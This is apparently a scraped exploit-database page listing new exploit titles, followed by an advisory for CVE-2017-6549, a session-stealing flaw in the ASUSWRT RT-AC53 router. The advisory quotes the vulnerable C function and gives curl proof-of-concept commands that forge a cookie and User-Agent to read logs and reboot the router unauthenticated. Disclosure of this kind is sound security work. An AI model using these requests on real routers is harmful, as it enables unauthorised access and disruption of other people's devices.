6e7ec5be32
20 new exploits Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service Apache Struts2 - Skill Name Remote Code Execution Apache Struts 2 - Skill Name Remote Code Execution Linux - Reverse Shell Shellcode (65 bytes) Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes) Linux - TCP Reverse Shell Shellcode (65 bytes) Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Apache Struts2 < 2.3.1 - Multiple Vulnerabilities Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities Country on Sale Script - SQL Injection Media Search Engine Script - 'search' Parameter SQL Injection Soundify 1.1 - 'tid' Parameter SQL Injection BistroStays 3.0 - 'guests' Parameter SQL Injection Nlance 2.2 - SQL Injection Busewe 1.2 - SQL Injection Fashmark 1.2 - 'category' Parameter SQL Injection TradeMart 1.1 - SQL Injection Drupal 7.x Module Services - Remote Code Execution WordPress Plugin Mac Photo Gallery 3.0 - Arbitrary File Download WordPress Plugin Apptha Slider Gallery 1.0 - SQL Injection WordPress Plugin Apptha Slider Gallery 1.0 - Arbitrary File Download WordPress Plugin PICA Photo Gallery 1.0 - SQL Injection Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Cross-Site Scripting ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Session Stealing ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Remote Code Execution FTP Voyager Scheduler 16.2.0 - Cross-Site Request Forgery
56 lines
No EOL
1.7 KiB
Text
Executable file
56 lines
No EOL
1.7 KiB
Text
Executable file
Session Stealing
|
||
|
||
Component: httpd
|
||
|
||
CVE: CVE-2017-6549
|
||
|
||
Vulnerability:
|
||
|
||
httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.
|
||
|
||
asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
|
||
{
|
||
asus_token_t *ptr = head;
|
||
asus_token_t *tmp = NULL;
|
||
int found = 0;
|
||
char *cp = NULL;
|
||
|
||
while(ptr != NULL)
|
||
{
|
||
if(!strncmp(token, ptr->token, 32)) {
|
||
found = 1;
|
||
break;
|
||
}
|
||
else if(strncmp(token, "cgi_logout", 10) == 0) {
|
||
cp = strtok(ptr->useragent, "-");
|
||
|
||
if(strcmp(cp, "asusrouter") != 0) {
|
||
found = 1;
|
||
break;
|
||
}
|
||
}
|
||
else {
|
||
tmp = ptr;
|
||
ptr = ptr->next;
|
||
}
|
||
}
|
||
|
||
if(found == 1) {
|
||
if(prev)
|
||
*prev = tmp;
|
||
return ptr;
|
||
}
|
||
else {
|
||
return NULL;
|
||
}
|
||
}
|
||
If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.
|
||
|
||
PoC:
|
||
|
||
# read syslog
|
||
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt
|
||
|
||
#reboot router
|
||
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
|
||
It’s possible to execute arbitrary commands on the router if any admin session is currently active. |